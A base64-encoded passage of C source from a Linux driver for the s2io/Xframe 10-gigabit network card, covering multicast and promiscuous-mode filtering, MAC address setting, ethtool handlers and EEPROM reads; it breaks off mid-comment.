X3BvcyA9IDA7CgkJcmV0dXJuOwoJfQoKCWlmKChkZXYtPmZsYWdzICYgSUZGX1BST01JU0MpICYm KCFzcC0+cHJvbWlzY19mbGcpKSB7CgkvKiAgUHV0IHRoZSBOSUMgaW50byBwcm9taXNjdW91cyBt b2RlICovCgkJdmFsNjQgPSBNQUNfQ0ZHX1JNQUNfUFJPTV9FTkFCTEU7CgkJd3JpdGU2NCgmYmFy MC0+bWFjX2NmZyx2YWw2NCk7CgkJc3AtPnByb21pc2NfZmxnID0gMTsKCQlEQkdfUFJJTlQoRVJS X0RCRywiJXM6IGVudGVyZWQgcHJvbWlzY3VvdXMgbW9kZVxuIixkZXYtPm5hbWUpOwoJCXJldHVy bjsKCX0gZWxzZSBpZighKGRldi0+ZmxhZ3MgJiBJRkZfUFJPTUlTQykgJiYoc3AtPnByb21pc2Nf ZmxnKSkgewoJLyogIFJlbW92ZSB0aGUgTklDIGZyb20gcHJvbWlzY3VvdXMgbW9kZSAqLwoJCXZh bDY0ID0gcmVhZDY0KCZiYXIwLT5tYWNfY2ZnKTsKCQl2YWw2NCA9IH5NQUNfQ0ZHX1JNQUNfUFJP TV9FTkFCTEU7CgkJd3JpdGU2NCgmYmFyMC0+bWFjX2NmZyx2YWw2NCk7CgkJc3AtPnByb21pc2Nf ZmxnID0gMDsKCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IGxlZnQgcHJvbWlzY3VvdXMgbW9kZVxu IixkZXYtPm5hbWUpOwoJCXJldHVybjsKCX0KCi8qICBVcGRhdGUgaW5kaXZpZHVhbCBNX0NBU1Qg YWRkcmVzcyBsaXN0Ki8KCWlmKCghc3AtPm1fY2FzdF9mbGcpICYmIGRldi0+bWNfY291bnQpIHsK CQlpZihkZXYtPm1jX2NvdW50ID4gCgkJCShNQVhfQUREUlNfU1VQUE9SVEVELU1BQ19NQ19BRERS X1NUQVJUX09GRlNFVC0xKSkgewoJCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IE5vIG1vcmUgUngg ZmlsdGVycyAiLGRldi0+bmFtZSk7CgkJCURCR19QUklOVChFUlJfREJHLCJjYW4gYmUgYWRkZWQs IHBsZWFzZSBlbmFibGUgIik7CgkJCURCR19QUklOVChFUlJfREJHLCJBTExfTVVMVEkgaW5zdGVh ZFxuIik7CgkJCXJldHVybjsKCQl9CgkKCQlwcmV2X2NudCA9IHNwLT5tY19hZGRyX2NvdW50OwoJ CXNwLT5tY19hZGRyX2NvdW50ID0gZGV2LT5tY19jb3VudDsKCgkJLyogQ2xlYXIgb3V0IHRoZSBw cmV2aW91cyBsaXN0IG9mIE1jIGluIHRoZSBIL1cuICovCgkJZm9yKGk9MDsgaTxwcmV2X2NudDsg aSsrKSB7CgkJCXdyaXRlNjQoJmJhcjAtPnJtYWNfYWRkcl9kYXRhMF9tZW0sCgkJCQkJUk1BQ19B RERSX0RBVEEwX01FTV9BRERSKGRpc19hZGRyKSk7CgkJCXZhbDY0ID0gUk1BQ19BRERSX0NNRF9N RU1fV0UgfCAKCQkJUk1BQ19BRERSX0NNRF9NRU1fU1RST0JFX05FV19DTUQgfAoJCQlSTUFDX0FE RFJfQ01EX01FTV9PRkZTRVQoTUFDX01DX0FERFJfU1RBUlRfT0ZGU0VUK2kpOwoJCQl3cml0ZTY0 KCZiYXIwLT5ybWFjX2FkZHJfY21kX21lbSwgdmFsNjQpOwoKCQkJLyogV2FpdCBmb3IgY29tbWFu ZCBjb21wbGV0ZXMgKi8KCQkJaWYod2FpdEZvckNtZENvbXBsZXRlKHNwKSkgewoJCQkJREJHX1BS SU5UKEVSUl9EQkcsIiVzOiBBZGRpbmcgIixkZXYtPm5hbWUpOwoJCQkJREJHX1BSSU5UKEVSUl9E QkcsIk11bHRpY2FzdHMgZmFpbGVkXG4iKTsKCQkJCXJldHVybjsKCQkJfQoJCX0KCgkJLyogQ3Jl YXRlIHRoZSBuZXcgUnggZmlsdGVyIGxpc3QgYW5kIHVwZGF0ZSB0aGUgc2FtZSBpbiBIL1cuKi8K CQlmb3IoaT0wLCBtY2xpc3QgPSBkZXYtPm1jX2xpc3Q7IGkgPCBkZXYtPm1jX2NvdW50OyAKCQkJ CWkrKywgbWNsaXN0ID0gbWNsaXN0LT5uZXh0KSB7CgkJCW1lbWNweShzcC0+dXNyX2FkZHJzW2ld LmFkZHIsIG1jbGlzdC0+ZG1pX2FkZHIsIAoJCQkJCUVUSF9BTEVOKTsKCQkJZm9yKGo9MDtqPEVU SF9BTEVOO2orKykgewoJCQkJbWFjX2FkZHIgfD0gbWNsaXN0LT5kbWlfYWRkcltqXTsKCQkJCW1h Y19hZGRyIDw8PSA4OwoJCQl9CgkJCXdyaXRlNjQoJmJhcjAtPnJtYWNfYWRkcl9kYXRhMF9tZW0s CgkJCQkJUk1BQ19BRERSX0RBVEEwX01FTV9BRERSKG1hY19hZGRyKSk7CgkJCXZhbDY0ID0gUk1B Q19BRERSX0NNRF9NRU1fV0UgfCAKCQkJUk1BQ19BRERSX0NNRF9NRU1fU1RST0JFX05FV19DTUQg fAoJCQlSTUFDX0FERFJfQ01EX01FTV9PRkZTRVQgKGkrIE1BQ19NQ19BRERSX1NUQVJUX09GRlNF VCk7CgkJCXdyaXRlNjQoJmJhcjAtPnJtYWNfYWRkcl9jbWRfbWVtLCB2YWw2NCk7CgoJCQkvKiBX YWl0IGZvciBjb21tYW5kIGNvbXBsZXRlcyAqLwoJCQlpZih3YWl0Rm9yQ21kQ29tcGxldGUoc3Ap KSB7CgkJCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IEFkZGluZyAiLGRldi0+bmFtZSk7CgkJCQlE QkdfUFJJTlQoRVJSX0RCRywiTXVsdGljYXN0cyBmYWlsZWRcbiIpOwoJCQkJcmV0dXJuOwoJCQl9 CgkJfQoJfQp9CgovKgogKiAgSW5wdXQgQXJndW1lbnQvczogCiAqICBkZXYgLSBwb2ludGVyIHRv IHRoZSBkZXZpY2Ugc3RydWN0dXJlLgogKiAgbmV3X21hYyAtIGEgdm9pZCBwb2ludGVyIHRvIHRo ZSBuZXcgbWFjIGFkZHJlc3Mgd2hpY2ggaXMgdG8gYmUgc2V0LgogKiAgUmV0dXJuIHZhbHVlOgog KiAgU1VDQ0VTUyBvbiBzdWNjZXNzIGFuZCBhbiBhcHByb3ByaWF0ZSAoLSl2ZSBpbnRlZ2VyIGFz IGRlZmluZWQgaW4gZXJybm8uaAogKiAgZmlsZSBvbiBmYWlsdXJlLgogKiAgRGVzY3JpcHRpb246 CiAqICBBIGRyaXZlciBlbnRyeSBwb2ludCB0byBjaGFuZ2UgdGhlIG1hYyBhZGRyZXNzLiBUaGUg ZGV2aWNlIG11c3QgYmUgZG93bgogKiAgYmVmb3JlIHRoaXMgY2FuIGJlIGNhbGxlZC4KICovCmlu dCBzMmlvX3NldF9tYWNfYWRkcihzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCB2b2lkICpuZXdfbWFj KQp7CgluaWNfdCAqc3AgPSAobmljX3QgKilkZXYtPnByaXY7CglYRU5BX2Rldl9jb25maWdfdCAq YmFyMCA9IChYRU5BX2Rldl9jb25maWdfdCAqKXNwLT5iYXIwOwoJc3RydWN0IHNvY2thZGRyICpz YSA9IChzdHJ1Y3Qgc29ja2FkZHIgKiluZXdfbWFjOwoJdTggKmFkZHI7CglyZWdpc3RlciB1NjQg dmFsNjQsIG1hY19hZGRyID0gMDsKCWludCBpOwoKCWlmKG5ldGlmX3J1bm5pbmcoZGV2KSkKCQlu ZXRpZl9zdG9wX3F1ZXVlKGRldik7CgovKiAKKiBTZXQgdGhlIG5ldyBNQUMgYWRkcmVzcyBhcyB0 aGUgbmV3IHVuaWNhc3QgZmlsdGVyIGFuZCByZWZsZWN0IHRoaXMKKiBjaGFuZ2Ugb24gdGhlIGRl dmljZSBhZGRyZXNzIHJlZ2lzdGVyZWQgd2l0aCB0aGUgT1MuIEl0IHdpbGwgYmUKKiBhdCBvZmZz ZXQgMC4gCiovCglhZGRyID0gKHU4ICopKCZzYS0+c2FfZGF0YSk7Cglmb3IoaT0wO2k8RVRIX0FM RU47aSsrKSB7CgkJbWFjX2FkZHIgPDw9IDg7CgkJbWFjX2FkZHIgfD0gYWRkcltpXTsKCX0KCgl3 cml0ZTY0KCZiYXIwLT5ybWFjX2FkZHJfZGF0YTBfbWVtLFJNQUNfQUREUl9EQVRBMF9NRU1fQURE UihtYWNfYWRkcikpOwoJdmFsNjQgPSBSTUFDX0FERFJfQ01EX01FTV9XRSB8IFJNQUNfQUREUl9D TURfTUVNX1NUUk9CRV9ORVdfQ01EIHwKCQlSTUFDX0FERFJfQ01EX01FTV9PRkZTRVQoMCk7Cgl3 cml0ZTY0KCZiYXIwLT5ybWFjX2FkZHJfY21kX21lbSwgdmFsNjQpOwovKiBXYWl0IHRpbGwgY29t bWFuZCBjb21wbGV0ZXMgKi8KCWlmKHdhaXRGb3JDbWRDb21wbGV0ZShzcCkpIHsKCQlEQkdfUFJJ TlQoRVJSX0RCRywiJXM6IHNldF9tYWNfYWRkciBmYWlsZWRcbiIsZGV2LT5uYW1lKTsKCQlyZXR1 cm4gRkFJTFVSRTsKCX0KCgltZW1jcHkoZGV2LT5kZXZfYWRkciwgJnNhLT5zYV9kYXRhLCBFVEhf QUxFTik7CgkKCWlmKG5ldGlmX3F1ZXVlX3N0b3BwZWQoZGV2KSkgCgkJbmV0aWZfd2FrZV9xdWV1 ZShkZXYpOwoKCXJldHVybiBTVUNDRVNTOwp9CgojaWZkZWYgQ09ORklHVVJFX0VUSFRPT0xfU1VQ UE9SVAovKgogKiBJbnB1dCBBcmd1bWVudC9zOiAKICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2Yg dGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMy aW9fbmljIHN0cnVjdHVyZS4KICogIGluZm8gLSBwb2ludGVyIHRvIHRoZSBzdHJ1Y3R1cmUgd2l0 aCBwYXJhbWV0ZXJzIGdpdmVuIGJ5IGV0aHRvb2wgdG8gc2V0CiAqICBsaW5rIGluZm9ybWF0aW9u LgogKiBSZXR1cm4gdmFsdWU6CiAqICAwIG9uIHN1Y2Nlc3MuCiAqIERlc2NyaXB0aW9uOgogKiAg VGhlIGZ1bmN0aW9uIHNldHMgZGlmZmVyZW50IGxpbmsgcGFyYW1ldGVycyBwcm92aWRlZCBieSB0 aGUgdXNlciBvbnRvIAogKiAgdGhlIE5JQy4KICovCiNkZWZpbmUgU1BFRURfMTAwMDAgMTAwMDAK c3RhdGljIGludCBzMmlvX2V0aHRvb2xfc3NldChuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX2Nt ZCAqaW5mbykKewoJaWYoIChpbmZvLT5hdXRvbmVnID09IEFVVE9ORUdfRU5BQkxFKSB8fCAJCgkJ KGluZm8tPnNwZWVkICE9IFNQRUVEXzEwMDAwKSB8fAoJCShpbmZvLT5kdXBsZXggIT0gRFVQTEVY X0ZVTEwpICkgCgkJCXJldHVybiAtRUlOVkFMOwoJZWxzZSB7CgkJczJpb19jbG9zZShzcC0+ZGV2 KTsKCQlzMmlvX29wZW4oc3AtPmRldik7Cgl9CgkKCXJldHVybiAwOwp9CgovKgogKiBJbnB1dCBB cmd1bWVudC9zOiAKICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1 cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4K ICogIGluZm8gLSBwb2ludGVyIHRvIHRoZSBzdHJ1Y3R1cmUgd2l0aCBwYXJhbWV0ZXJzIGdpdmVu IGJ5IGV0aHRvb2wgdG8gcmV0dXJuCiAqICBsaW5rIGluZm9ybWF0aW9uLgogKiBSZXR1cm4gdmFs dWU6CiAqICB2b2lkCiAqIERlc2NyaXB0aW9uOgogKiAgUmV0dXJucyBsaW5rIHNwZWNlZmljIGlu Zm9ybWF0aW9uIGxpa2Ugc3BlZWQsIGR1cGxleCBldGMuLiB0byBldGh0b29sLgogKi8Kc3RhdGlj IHZvaWQgczJpb19ldGh0b29sX2dzZXQobmljX3QgKnNwLCBzdHJ1Y3QgZXRodG9vbF9jbWQgKmlu Zm8pCnsKCWluZm8tPnN1cHBvcnRlZCA9ICAgKFNVUFBPUlRFRF8xMDAwMGJhc2VUX0Z1bGwgfCBT VVBQT1JURURfRklCUkUpOwoJaW5mby0+YWR2ZXJ0aXNpbmcgPSAoU1VQUE9SVEVEXzEwMDAwYmFz ZVRfRnVsbCB8IFNVUFBPUlRFRF9GSUJSRSk7CglpbmZvLT5wb3J0ID0gUE9SVF9GSUJSRTsKCS8q IGluZm8tPnRyYW5zY2VpdmVyPz8gVE9ETyAqLwoJCglpZihuZXRpZl9jYXJyaWVyX29rKHNwLT5k ZXYpKSB7CgkJaW5mby0+c3BlZWQgPSAxMDAwMDsKCQlpbmZvLT5kdXBsZXggPSBEVVBMRVhfRlVM TDsKCX0gZWxzZSB7CgkJaW5mby0+c3BlZWQgPSAtMTsKCQlpbmZvLT5kdXBsZXggPSAtMTsKCX0K CQoJaW5mby0+YXV0b25lZyA9IEFVVE9ORUdfRElTQUJMRTsKfQoKLyoKICogSW5wdXQgQXJndW1l bnQvczogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJlLCB3 aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAqICBp bmZvIC0gcG9pbnRlciB0byB0aGUgc3RydWN0dXJlIHdpdGggcGFyYW1ldGVycyBnaXZlbiBieSBl dGh0b29sIHRvIHJldHVybgogKiAgZHJpdmVyIGluZm9ybWF0aW9uLgogKiBSZXR1cm4gdmFsdWU6 CiAqICB2b2lkCiAqIERlc2NyaXB0aW9uOgogKiAgUmV0dXJucyBkcml2ZXIgc3BlY2VmaWMgaW5m b3JtYXRpb24gbGlrZSBuYW1lLCB2ZXJzaW9uIGV0Yy4uIHRvIGV0aHRvb2wuCiAqLwpzdGF0aWMg dm9pZCBzMmlvX2V0aHRvb2xfZ2RydmluZm8obmljX3QgKnNwLCBzdHJ1Y3QgZXRodG9vbF9kcnZp bmZvICppbmZvKQp7CglzdHJuY3B5KGluZm8tPmRyaXZlciwgc3AtPm5hbWUsIDMyKTsKCXN0cm5j cHkoaW5mby0+dmVyc2lvbiwgIiIsIDMyKTsJCglzdHJuY3B5KGluZm8tPmZ3X3ZlcnNpb24sICIi LCAzMik7CglzdHJuY3B5KGluZm8tPmJ1c19pbmZvLCBzcC0+cGRldi0+c2xvdF9uYW1lLCAzMik7 CgkjaWYgZGVmaW5lZChFVEhUT09MX0dSRUdTKQoJaW5mby0+cmVnZHVtcF9sZW4gCT0gWEVOQV9S RUdfU1BBQ0U7CgkjZW5kaWYKCWluZm8tPmVlZHVtcF9sZW4gCT0gWEVOQV9FRVBST01fU1BBQ0U7 CglpbmZvLT50ZXN0aW5mb19sZW4gCT0gUzJJT19URVNUX0xFTjsKfQoKLyoKICogSW5wdXQgQXJn dW1lbnQvczogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJl LCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAq ICByZWdzIC0gcG9pbnRlciB0byB0aGUgc3RydWN0dXJlIHdpdGggcGFyYW1ldGVycyBnaXZlbiBi eSBldGh0b29sIGZvciAKICogIGR1bXBpbmcgdGhlIHJlZ2lzdGVycy4KICogIHJlZ19zcGFjZSAt IFRoZSBpbnB1dCBhcmd1bW5ldCBpbnRvIHdoaWNoIGFsbCB0aGUgcmVnaXN0ZXJzIGFyZSBkdW1w ZWQuCiAqIFJldHVybiB2YWx1ZToKICogIHZvaWQKICogRGVzY3JpcHRpb246CiAqICBEdW1wcyB0 aGUgZW50aXJlIHJlZ2lzdGVyIHNwYWNlIG9mIHhGcmFtZSBOSUMgaW50byB0aGUgdXNlciBnaXZl biBidWZmZXIgCiAqICBhcmVhLgogKi8Kc3RhdGljIHZvaWQgczJpb19ldGh0b29sX2dyZWdzKG5p Y190ICpzcCwgc3RydWN0IGV0aHRvb2xfcmVncyAqcmVncywgCgkJCQkJCQkJdTggKnJlZ19zcGFj ZSkKewoJaW50IGk7Cgl1NjQgcmVnOwoJCglyZWdzLT5sZW4gPSBYRU5BX1JFR19TUEFDRTsKCXJl Z3MtPnZlcnNpb24gPSBzcC0+cGRldi0+c3Vic3lzdGVtX2RldmljZTsKCglmb3IoaT0wOyBpPHJl Z3MtPmxlbjsgaSArPSA4KSB7CgkJcmVnID0gcmVhZDY0KCh2b2lkICopKHNwLT5iYXIwK2kpKTsK CQltZW1jcHkoKHJlZ19zcGFjZStpKSwgJnJlZywgOCk7Cgl9Cn0KCiNpZmRlZiBFVEhUT09MX1BI WVNfSUQKLyoKICogSW5wdXQgQXJndW1lbnQvczogCiAqICBkYXRhIC0gYWRkcmVzcyBvZiB0aGUg cHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdoaWNoIAogKiAgaXMgYSBw b2ludGVyIHRvIHRoZSBzMmlvX25pYyBzdHJ1Y3R1cmUsIHByb3ZpZGVkIGFzIGFuIHUzMi4KICog UmV0dXJuIHZhbHVlOgogKiAgdm9pZAogKiBEZXNjcmlwdGlvbjoKICogIFRoaXMgaXMgYWN0dWFs bHkgdGhlIHRpbWVyIGZ1bmN0aW9uIHRoYXQgYWx0ZXJuYXRlcyB0aGUgYWRhcHRlciBMRUQgYml0 CiAqICBvZiB0aGUgYWRhcHRlciBjb250cm9sIGJpdCB0byBzZXQvcmVzZXQgZXZlcnkgdGltZSBv biBpbnZvY2F0aW9uLgogKiAgVGhlIHRpbWVyaXMgc2V0IGZvciAxLzIgYSBzZWNvbmQsIGhlbmNl IHRoYSBOSUMgYmxpbmtzIG9uY2UgZXZlcnkgc2Vjb25kLgogKi8Kc3RhdGljIHZvaWQgczJpb19w aHlfaWQodW5zaWduZWQgbG9uZyBkYXRhKQp7CgluaWNfdCAqc3AgPSAobmljX3QgKilkYXRhOwoJ WEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29uZmlnX3QgKilzcC0+YmFyMDsK CXU2NCB2YWw2NCA9IDA7CgoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJfY29udHJvbCk7 CglpZih2YWw2NCAmIEFEQVBURVJfTEVEX09OKSAKCQl2YWw2NCAmPSB+KHU2NClBREFQVEVSX0xF RF9PTjsKCWVsc2UKCQl2YWw2NCB8PSBBREFQVEVSX0xFRF9PTjsKCXdyaXRlNjQoJmJhcjAtPmFk YXB0ZXJfY29udHJvbCwgdmFsNjQpOwoJCgltb2RfdGltZXIoJnNwLT5pZF90aW1lciwgamlmZmll cytIWi8yKTsgLyogYmxpbmsgb25jZSBpbiAxIHNlYyAqLwp9CgovKgogKiBJbnB1dCBBcmd1bWVu dC9zOiAKICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUsIHdo aWNoIGlzIGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmljIHN0cnVjdHVyZS4KICogIGlk IC0gcG9pbnRlciB0byB0aGUgc3RydWN0dXJlIHdpdGggaWRlbnRpZmljYXRpb24gcGFyYW1ldGVy cyBnaXZlbiBieSAKICogIGV0aHRvb2wuCiAqIFJldHVybiB2YWx1ZToKICogIHZvaWQKICogRGVz Y3JpcHRpb246CiAqICBVc2VkIHRvIHBoeXNpY2FsbHkgaWRlbnRpZnkgdGhlIE5JQyBvbiB0aGUg c3lzdGVtLiBUaGUgTGluayBMRUQgd2lsbCBibGluawogKiAgZm9yIGEgdGltZSBzcGVjaWZpZWQg YnkgdGhlIHVzZXIgZm9yIGlkZW50aWZpY2F0aW9uLgogKiAgTk9URTogVGhlIExpbmsgaGFzIHRv IGJlIFVwIHRvIGJlIGFibGUgdG8gYmxpbmsgdGhlIExFRC4gSGVuY2UgCiAqICBpZGVudGlmaWNh dGlvbiBpcyBwb3NzaWJsZSBvbmx5IGlmIGl0J3MgbGluayBpcyB1cC4KICovCnN0YXRpYyB2b2lk IHMyaW9fZXRodG9vbF9pZG5pYyhuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX3ZhbHVlICppZCkK ewkKCXU2NAl2YWw2NCA9IDA7CglYRU5BX2Rldl9jb25maWdfdCAqYmFyMCA9IChYRU5BX2Rldl9j b25maWdfdCAqKXNwLT5iYXIwOwoKCWlmKHNwLT5pZF90aW1lci5mdW5jdGlvbiA9PSBOVUxMKSB7 CgkJaW5pdF90aW1lcigmc3AtPmlkX3RpbWVyKTsKCQlzcC0+aWRfdGltZXIuZnVuY3Rpb24gPSBz MmlvX3BoeV9pZDsKCQlzcC0+aWRfdGltZXIuZGF0YSA9ICh1bnNpZ25lZCBsb25nKXNwOwoJfQoJ dmFsNjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJfY29udHJvbCk7CglpZighKHZhbDY0ICYgQURB UFRFUl9DTlRMX0VOKSkgewoJCXByaW50ayhLRVJOX0VSUiJBZGFwdGVyIExpbmsgZG93biwgY2Fu bm90IGJsaW5rIExFRFxuIik7CgkJcmV0dXJuOwoJfQoKCXNwLT5hZGFwdF9jdHJsX29yZyA9IHZh bDY0ICYgQURBUFRFUl9MRURfT047Cgltb2RfdGltZXIoJnNwLT5pZF90aW1lciwgamlmZmllcyk7 CglzZXRfY3VycmVudF9zdGF0ZShUQVNLX0lOVEVSUlVQVElCTEUpOwoJaWYoaWQtPmRhdGEpCgkJ c2NoZWR1bGVfdGltZW91dChpZC0+ZGF0YSAqIEhaKTsKCWVsc2UKCQlzY2hlZHVsZV90aW1lb3V0 KE1BWF9TQ0hFRFVMRV9USU1FT1VUKTsKCWRlbF90aW1lcl9zeW5jKCZzcC0+aWRfdGltZXIpOwoK CXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5hZGFwdGVyX2NvbnRyb2wpOwoJdmFsNjQgfD0gc3AtPmFk YXB0X2N0cmxfb3JnOwkKCXdyaXRlNjQoJmJhcjAtPmFkYXB0ZXJfY29udHJvbCwgdmFsNjQpOwp9 CiNlbmRpZgoKLyoKICogSW5wdXQgQXJndW1lbnQvczogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVy IG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJlLCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAg IAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAqICBlcCAtIHBvaW50ZXIgdG8gdGhlIHN0cnVjdHVyZSB3 aXRoIHBhdXNlIHBhcmFtZXRlcnMgZ2l2ZW4gYnkgZXRodG9vbC4KICogUmV0dXJuIHZhbHVlOgog KiAgdm9pZAogKiBEZXNjcmlwdGlvbjoKICogIFJldHVybnMgdGhlIFBhdXNlIGZyYW1lIGdlbmVy YXRpb24gYW5kIHJlY2VwdGlvbiBjYXBhYmlsaXR5IG9mIHRoZSBOSUMuCiAqLwpzdGF0aWMgdm9p ZCBzMmlvX2V0aHRvb2xfZ2V0cGF1c2VfZGF0YShuaWNfdCAqc3AsIHN0cnVjdCBldGh0b29sX3Bh dXNlcGFyYW0gKmVwKQp7Cgl1NjQgdmFsNjQ7CQoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAo WEVOQV9kZXZfY29uZmlnX3QgKilzcC0+YmFyMDsKCQoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPnJt YWNfcGF1c2VfY2ZnKTsKCWlmKCB2YWw2NCAmIFJNQUNfUEFVU0VfR0VOX0VOQUJMRSApCgkJZXAt PnR4X3BhdXNlID0gVFJVRTsKCWlmKCB2YWw2NCAmIFJNQUNfUEFVU0VfUlhfRU5BQkxFICkKCQll cC0+cnhfcGF1c2UgPSBUUlVFOwoJZXAtPmF1dG9uZWcgPSBGQUxTRTsKfQoKLyoKICogSW5wdXQg QXJndW1lbnQvczogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0 dXJlLCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUu CiAqICBlcCAtIHBvaW50ZXIgdG8gdGhlIHN0cnVjdHVyZSB3aXRoIHBhdXNlIHBhcmFtZXRlcnMg Z2l2ZW4gYnkgZXRodG9vbC4KICogUmV0dXJuIHZhbHVlOgogKiAgdm9pZAogKiBEZXNjcmlwdGlv bjoKICogIEl0IGNhbiBiZSB1c2VkIHRvIHNldCBvciByZXNldCBQYXVzZSBmcmFtZSBnZW5lcmF0 aW9uIG9yIHJlY2VwdGlvbiBzdXBwb3J0IAogKiAgb2YgdGhlIE5JQy4KICovCnN0YXRpYyB2b2lk IHMyaW9fZXRodG9vbF9zZXRwYXVzZV9kYXRhKG5pY190ICpzcCwgc3RydWN0IGV0aHRvb2xfcGF1 c2VwYXJhbSAqZXApCnsKCXU2NCB2YWw2NDsJCglYRU5BX2Rldl9jb25maWdfdCAqYmFyMCA9IChY RU5BX2Rldl9jb25maWdfdCAqKXNwLT5iYXIwOwoJCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+cm1h Y19wYXVzZV9jZmcpOwoJaWYoZXAtPnR4X3BhdXNlKQoJCXZhbDY0IHw9IFJNQUNfUEFVU0VfR0VO X0VOQUJMRTsKCWVsc2UKCQl2YWw2NCAmPSB+Uk1BQ19QQVVTRV9HRU5fRU5BQkxFOwoJaWYoZXAt PnJ4X3BhdXNlKQoJCXZhbDY0IHw9IFJNQUNfUEFVU0VfUlhfRU5BQkxFOwoJZWxzZQoJCXZhbDY0 ICY9IH5STUFDX1BBVVNFX1JYX0VOQUJMRTsKCXdyaXRlNjQoJmJhcjAtPnJtYWNfcGF1c2VfY2Zn LCB2YWw2NCk7Cn0KCi8qCiAqIElucHV0IEFyZ3VtZW50L3M6IAogKiAgc3AgLSBwcml2YXRlIG1l bWJlciBvZiB0aGUgZGV2aWNlIHN0cnVjdHVyZSwgd2hpY2ggaXMgYSBwb2ludGVyIHRvIHRoZSAK ICogICAJczJpb19uaWMgc3RydWN0dXJlLgogKiAgb2ZmIC0gb2Zmc2V0IGF0IHdoaWNoIHRoZSBk YXRhIG11c3QgYmUgd3JpdHRlbgogKiBSZXR1cm4gdmFsdWU6CiAqICAtMSBvbiBmYWlsdXJlIGFu ZCB0aGUgdmFsdWUgcmVhZCBmcm9tIHRoZSBFZXByb20gaWYgc3VjY2Vzc2Z1bC4KICogRGVzY3Jp cHRpb246CiAqICBXaWxsIHJlYWQgNCBieXRlcyBvZiBkYXRhIGZyb20gdGhlIHVzZXIgZ2l2ZW4g b2Zmc2V0IGFuZCByZXR1cm4gdGhlIAogKiAgcmVhZCBkYXRhLgogKiBOT1RFOiBXaWxsIGFsbG93 IHRvIHJlYWQgb25seSBwYXJ0IG9mIHRoZSBFRVBST00gdmlzaWJsZSB0aHJvdWdoIHRoZQogKiAJ IEkyQyBidXMuCiAqLwojZGVmaW5lIFMySU9fREVWX0lECQk1CnN0YXRpYyB1MzIgcmVhZEVlcHJv bShuaWNfdCAqc3AsIGludCBvZmYpCnsKCXUzMiBkYXRhID0gLTEsIGV4aXRfY250ID0gMDsKCXU2 NCB2YWw2NDsKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhFTkFfZGV2X2NvbmZpZ190ICop c3AtPmJhcjA7CgkKCXZhbDY0ID0gSTJDX0NPTlRST0xfREVWX0lEKFMySU9fREVWX0lEKSB8IEky Q19DT05UUk9MX0FERFIob2ZmKSB8CgkJCUkyQ19DT05UUk9MX0JZVEVfQ05UKDB4MykgfCBJMkNf Q09OVFJPTF9SRUFEIHwgCgkJCUkyQ19DT05UUk9MX0NOVExfU1RBUlQ7Cgl3cml0ZTY0KCZiYXIw LT5pMmNfY29udHJvbCwgdmFsNjQpOwoKCXdoaWxlKGV4aXRfY250IDwgNSkgewoJCXZhbDY0ID0g cmVhZDY0KCZiYXIwLT5pMmNfY29udHJvbCk7CgkJaWYoSTJDX0NPTlRST0xfQ05UTF9FTkQodmFs NjQpKSB7CgkJCWRhdGEgPSBJMkNfQ09OVFJPTF9HRVRfREFUQSh2YWw2NCk7CgkJCWJyZWFrOwoJ CX0KCQltZGVsYXkoNTApOwoJCWV4aXRfY250Kys7Cgl9CgoJcmV0dXJuIGRhdGE7Cn0KCQkJCQkK LyoKICogSW5wdXQgQXJndW1lbnQvczogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBk ZXZpY2Ugc3RydWN0dXJlLCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25p YyBzdHJ1Y3R1cmUuCiAqICBvZmYgLSBvZmZzZXQgYXQgd2hpY2ggdGhlIGRhdGEgbXVzdCBiZSB3 cml0dGVuCiAqICBkYXRhIC0gVGhlIGRhdGEgdGhhdCBpcyB0byBiZSB3cml0dGVuCiAqICBjbnQg LSBOdW1iZXIgb2YgYnl0ZXMgb2YgdGhlIGRhdGEgdGhhdCBhcmUgYWN0dWFsbHkgdG8gYmUgd3Jp dHRlbiBpbnRvIAogKiAgdGhlIEVlcHJvbS4gKG1heCBvZiAzKQogKiBSZXR1cm4gdmFsdWU6CiAq 